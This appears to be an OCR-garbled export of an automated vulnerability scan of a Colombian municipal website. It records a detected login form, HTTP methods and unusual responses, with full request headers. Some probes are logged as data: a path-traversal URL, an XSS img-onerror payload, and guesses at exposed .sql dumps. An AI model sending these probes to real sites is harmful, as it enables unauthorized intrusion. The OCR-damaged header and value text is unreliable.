VULNERABILITY BINIigeN PLUGIN ID 98009

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scan has di scovered 967 distinct URLs.

The following is a breakdown of which URLs were audited:

- 29 effectively audited

- 157 not audited due to the scan tinme limt being reached

- 436 not queued due to file extension exclusions

- 298 not queued due to the URL not being in the target domain

- 22 not queued due to the URL containing a fragment which is a feature of browsers and not
The page being referred to by the fragnment shall still be audited by the scanner.

- 19 not queued due to the URL being considered redundant with other processed URLs

- 6 not queued due to an unknown reason (please contact support)

For URLs we received responses for, here is a distribution of the content type headers:

- 31 application/javascript

- 1 application/pdf

- 62 inagel/jpeg

- 19 i mage/ png

- 6 inmage/ svg+xni

- 74 text/css

- 5 text/css; charset=utf-8

- 5 text/htm

- 1 text/htnml; charset="utf-8"

- 3 text/htnl; charset=iso-8859-1
- 70 text/htm; charset=utf-8

- 2 text/javascript; charset=utf-8
- 1 text/xm; charset=utf-8

Response tines ranged between 0.109796s and 6.593147s.

included in HTTP requests.

You can access the conplete list of URLs with the information collected by the scan as an attachnent to this plugin.
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Login Form Detected

VULNERABILITY BINIgeN PLUGIN ID 98033

Description

Thisis an informational notice that the scanner identified a potential login form that could be used by the scanner to
authenticate and have access to additional pages for extending its coverage.

Solution

Edit scan policy and add login form authentication credentials to allow scanner to authenticate to the web application.

See Also

Plugin Details
PUBLICATION DATE 2018-02-08T00:00:00+00:00
MODIFICATION DATE 2018-02-08T00:00:00+00:00
FAMILY Authentication & Session
SEVERITY Info
PLUGIN ID 98033

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE -
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP S
CVE -
BID =
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Login Form Detected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98033

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

INPUT TYPE form
INPUT NAME id:form-login

Identification

OUTPUT

Potential login formhas been identified in URL 'https://chia-cundi namarca. gov. co/ i ndex. php/tram tes-y-servicios
/sisben' with follow ng fields:

- usernane (TEXT)

- password ( PASSWORD)

- Submit (SUBM T)

- option (H DDEN)

- task (HH DDEN)

- return (H DDEN)

- 00edee66cd5367945f 8382f a07e3c676 ( HI DDEN)

To perform aut henticated scan, configure your scan and add 'Login Form authentication, with the URL associated to this
plugin and as | ogin paraneters values for the above non-hidden fields.

HTTP Info

REQUEST MADE
GET /index. php/tramtes-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GVI
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Allowed HTTP Methods

VULNERABILITY BINIgeN PLUGIN ID 98047

Description

There are anumber of HTTP methods that can be used on a webserver (OPTIONS', 'HEAD', 'GET", 'POST', 'PUT’, DELETE etc.).
Each of these methods perform a different function and each have an associated level of risk when their use is permitted on the

webserver.

By sendingan HTTP OPTIONS request and a direct HTTP request for each method, the scanner discovered the methods that are

allowed by the server.

Solution

It is recommended that a whitelisting approach be taken to explicitly permit only the HTTP methods required by the application

and block all others.

See Also

http://httpd.apache.org/docs/2.2/mod/core.html#limitexcept

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2017-03-31T00:00:00+00:00
2024-02-27T00:00:00+00:00
Web Applications

Info

98047
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Allowed HTTP Methods Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 98047

INSTANCE
https://chia-cundinamarca.gov.co/

Identification

OUTPUT
The scanner was able to identify several HTTP nethods that can be used for one or several URLs. The results are

avai |l abl e as attachnents.
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Interesting Response

VULNERABILITY BINIigeN PLUGIN ID 98050

Description

The scanner identified some responses with a status code other than the usual 200 (OK), 301(Moved Permanently), 302 (Found)
and 404 (Not Found) codes. These codes can provide useful insights into the behavior of the web application and identify any
unexpected responses to be addressed.

Solution

See Also

http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

https://en.wikipedia.org/wiki/List_of _HTTP_status_codes

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2017-03-31T00:00:00+00:00
2021-06-14T00:00:00+00:00
Web Applications

Info

98050
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Interesting Response Instances (25)

VULNERABILITY BINIigeN PLUGIN ID 98050

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503" which may require further investigation to verify if this
response is due to an abnormal behavior of the target

The response has been triggered by an HTTP OPTI ONS request nade on the URL 'https://chia-cundi namarca. gov. co/ i ndex. php
/tram tes-y-servicios/sisben'

HTTP Info

REQUEST MADE
OPTI ONS /i ndex. php/tram tes-y-servicios/sisben HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 16:46 GVII

Content-Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=724c8f c7ddb087d38059¢eef 05f 8a327c; path=/; HitpOnly
Last-Modified: Thu, 19 Dec 2024 00: 16:46 GMVI

INSTANCE
https://chia-cundinamarca.gov.co/4795

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which nay require further investigation to verify if this
response is due to an abnornal behavior of the target

Web Application Scanning Detailed Scan Export:
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The response has been triggered by an HTTP OPTI ONS request nade on the URL 'https://chia-cundi namarca. gov. co/ 4795

HTTP Info

REQUEST MADE
OPTIONS /4795 HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzi p, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: ngi nx

Date: Thu, 19 Dec 2024 00:16:49 GMVI

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=da79bcd6a97df 65ae4c31886d480f 3al; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 00: 16:49 GVI

INSTANCE

https://chia-cundinamarca.gov.co/web/xmlirpc.php

Identification

PROOF
HTTP/ 1.1 405 Method Not Al | owed

OUTPUT
A response has been received with a response code '405 which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP OPTI ONS request nade on the URL 'https://chia-cundi namarca. gov. co/ web/ xml r pc
php" .

HTTP Info

REQUEST MADE
OPTI ONS /web/ xm rpc. php HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 405 Method Not All owed
Server: nginx

Date: Thu, 19 Dec 2024 00: 16: 51 GMTI
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Cont ent - Type: text/plain;charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Al ow. POST

INSTANCE
https://chia-cundinamarca.gov.co/index.php/11-atencion-y-servicios-a-la-ciudadania/preguntas-y-respuestas-frecuentes

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornmal behavior of the target.

The response has been triggered by an HTTP OPTI ONS request nade on the URL 'https://chia-cundi namarca. gov. co/ i ndex. php
/ 11- at enci on-y-servi ci 0s-a-1 a- ci udadani a/ pregunt as-y-r espuest as-frecuentes'.

HTTP Info

REQUEST MADE
OPTI ONS /i ndex. php/ 11- at enci on-y-servi ci 0s-a-| a-ci udadani a/ pregunt as-y-respuest as-frecuentes HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 01:12:06 GVI

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joom aWrks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=17cab760dd8aa262f ed5101577275909; path=/; HttpOnly
Last-Modified: Thu, 19 Dec 2024 01:12:06 GMVI

INSTANCE
https%3A%2F %2Fchia-cundinamarca.gov.co%2F setup %2Fsetup-s%2F %25u002e %25u002e 7% 2F %25u002e % 25u002e %
2Flog.jsp

Identification
PROOF
HTTP/ 1.1 400 Bad Request

OUTPUT
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A response has been received with a response code '400' which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ set up/ set up-s/ %
u002e%002e/ %002e%002e/ | 0g. j sp'

HTTP Info

REQUEST MADE
GET / setup/ set up-s/ %002e%002e/ %1002e%002¢e/ | 0g.jsp HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzi p, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 08:50 GMVI
Cont ent - Type: text/htn

Cont ent - Lengt h: 150

Connection: close

INSTANCE
https://chia-cundinamarca.gov.co/controlpanel/2020.sq|

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ control pane
/2020. sql ' .

HTTP Info

REQUEST MADE
GET /control panel /2020. sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy?2Bt J9%2c4b043945560f da9514b19964b4b5be42

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e
Server: ngi nx

Date: Thu, 19 Dec 2024 02:03:21 GVl
Content-Type: text/htm; charset=utf-8
Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se
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X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GvIT

Cache-Control: no-store, no-cache, nust-revalidate

Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=5610c565175056che5880e9e7cchbef f;

Last-Modified: Thu, 19 Dec 2024 02:03:21 GMVI

INSTANCE

https://chia-cundinamarca.gov.co/index.php/11-atencion-y-servicios-a-la-ciudadania/glosario-web

post - check=0, pre-check=0

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT

A response has been received with a response code ' 503
response is due to an abnornal behavior of the target

whi ch may require further

investigation to verify if this

The response has been triggered by an HTTP OPTI ONS request nmade on the URL 'https://chia-cundi namarca. gov. co/ i ndex. php

/ 11- at enci on-y-servi ci 0s-a-| a- ci udadani a/ gl osari o- web'

HTTP Info

REQUEST MADE

OPTI ONS /i ndex. php/ 11- at enci on-y-servi ci os-a-| a-ci udadani a/ gl osari o-web HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM

Accept: */*
Accept - Language: en-US, en; g=0.5
Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e
Server: ngi nx

Date: Thu, 19 Dec 2024 01:12:06 GVI
Content-Type: text/htm; charset=utf-8
Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control : no-store, no-cache, nust-revalidate

Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=1f 446f 147b249d88d76dd8cleelf 70af ;

Last-Modified: Thu, 19 Dec 2024 01:12: 06 GMVI

INSTANCE

post - check=0, pre-check=0

Chrone/ 124. 0. 6367. 207 Safari/537. 36

https://chia-cundinamarca.gov.co/index.php/10-informacion-tributaria-en-entidades-territoriales-locales/10-5-pague-

alumbrado-publico

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e
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OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP OPTI ONS request nmade on the URL 'https://chia-cundi namarca. gov. co/ i ndex. php
/10-informacion-tributaria-en-enti dades-territorial es-1ocal es/ 10-5- pague- al unbrado- publico’

HTTP Info

REQUEST MADE
OPTI ONS /i ndex. php/ 10-i nfornaci on-tributari a-en-entidades-territorial es-1ocal es/10-5-pague-al unbrado-publico HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 01:12:05 GVI

Content-Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joom aWrks)

P3P: CP="NO ADM DEV PSAi COM NAV CUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GvIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=16ccf d28552120eaa7f 7726162c590f c; path=/; HttpOnly
Last-Modified: Thu, 19 Dec 2024 01:12:05 GVI

INSTANCE
https://chia-cundinamarca.gov.co/2020.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503" which nay require further investigation to verify if this
response is due to an abnornmal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ 2020. sql '

HTTP Info

REQUEST MADE
GET /2020.sql HTTP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5
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RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 00:11:48 GVII

Content - Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GMTI

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=d3f bb8f ccd91166569edd4b5ech327bc; path=/; HtpOnly
Last-Modified: Thu, 19 Dec 2024 00:11:48 GVl

INSTANCE

https://chia-cundinamarca.gov.co/2019.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornmal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ 2019. sql ' .

HTTP Info

REQUEST MADE
GET /2019.sql HTTP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 00:11:47 GMVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GV

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=dcf 34992a13994f d43ad944e6e62927c; path=/; HtpOnly
Last-Modified: Thu, 19 Dec 2024 00: 11:47 GV

INSTANCE

https://chia-cundinamarca.gov.co/cpanelwebcall/ %3Cimg%20src=x%20onerror=%22console.log(1)%22 % 3E
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Identification

PROOF
HTTP/ 1.1 400 Bad Request

OUTPUT
A response has been received with a response code '400' which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi namarca. gov. co/ cpanel webcal I / %
3Ci ng¥%20sr c=x%20oner r or =%22consol e. | og( 1) 9R2%BE" .

HTTP Info

REQUEST MADE
GET / cpanel webcal | / 98C ng%20sr c=x%20oner r or =%22consol e. | og(1) ¥®R2%BE HTTP/ 1. 1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: nginx

Date: Thu, 19 Dec 2024 00:08: 14 GVII
Content - Type: text/htm; charset="utf-8"
Transfer - Encodi ng: chunked

Connection: keep-alive

INSTANCE

https://chia-cundinamarca.gov.co/oauth/idp/.well-known/openid-configuration

Identification

PROOF
HTTP/ 1.1 400 Bad Request

OUTPUT
A response has been received with a response code '400' which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request made on the URL 'https://chia-cundi namarca. gov. co/ oaut h/idp/.
wel | - known/ openi d- configuration'.

HTTP Info

REQUEST MADE
GET /oaut h/idp/.well-known/ openid-configuration HITP/1.1

REQUEST HEADERS

Host :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas

Accept - Encodi ng: gzip, deflate, br
User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Accept: */*
Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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RESPONSE HEADERS

HTTP/ 1.1 400 Bad Request

Server: nginx

Date: Thu, 19 Dec 2024 00:08:14 GVII
Cont ent - Type: text/htn

Cont ent - Lengt h: 226

Connection: close

INSTANCE

https://chia-cundinamarca.gov.co/cache/2019.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503" which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi nanarca. gov. co/ cache/ 2019.
sql " .

HTTP Info

REQUEST MADE
GET /cache/ 2019.sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J%2c4b043945560f da9514b19964b4b5be4?2; timezone=Etc/UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 02:17:11 GVIT

Content - Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV QUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GwvIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=04ae483e2f 3b53e490b121ee489cae8c; path=/; HtpOnly
Last-Modified: Thu, 19 Dec 2024 02:17:11 GMI

INSTANCE

https://chia-cundinamarca.gov.co/images/2021.sq|

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e
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OUTPUT
A response has been received with a response code '503'" which may require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nmade on the URL 'https://chia-cundi namarca. gov. co/ i mages/ 2021.
sql ' .

HTTP Info

REQUEST MADE
GET /inmmges/2021.sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 01:50:55 GVl

Content-Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joom aWrks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GvIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=0b87ad4c302d2307eba5ed0a080e3f f2; path=/; HttpOnly
Last-Modified: Thu, 19 Dec 2024 01:50:55 GVI

INSTANCE

https://chia-cundinamarca.gov.co/images/2020.sql

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail abl e

OUTPUT
A response has been received with a response code '503" which nay require further investigation to verify if this
response is due to an abnornmal behavior of the target.

The response has been triggered by an HTTP GET request nade on the URL 'https://chia-cundi nanarca. gov. co/ i mages/ 2020.
sql ' .

HTTP Info

REQUEST MADE
GET /images/2020.sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*
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Accept - Language: en-US, en; q=0.5
Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: ngi nx

Date: Thu, 19 Dec 2024 01:50:55 GVl

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=560a8773d4a51ch4bc6773589e2b09%ee; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 01:50:55 GVI

INSTANCE
https://chia-cundinamarca.gov.co/images/2019.sq|

Identification

PROOF
HTTP/ 1.1 503 Service Tenporarily Unavail able

OUTPUT
A response has been received with a response code '503" which nay require further investigation to verify if this
response is due to an abnornal behavior of the target.

The response has been triggered by an HTTP GET request nmade on the URL 'https://chia-cundi namarca. gov. co/ i mages/ 2019.
sql .

HTTP Info

REQUEST MADE
CGET /images/2019.sql HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 01:50:55 GVl

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GV

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=111900f e0137c1a86c8430cd6d5f 46fd; path=/; HttpOnly
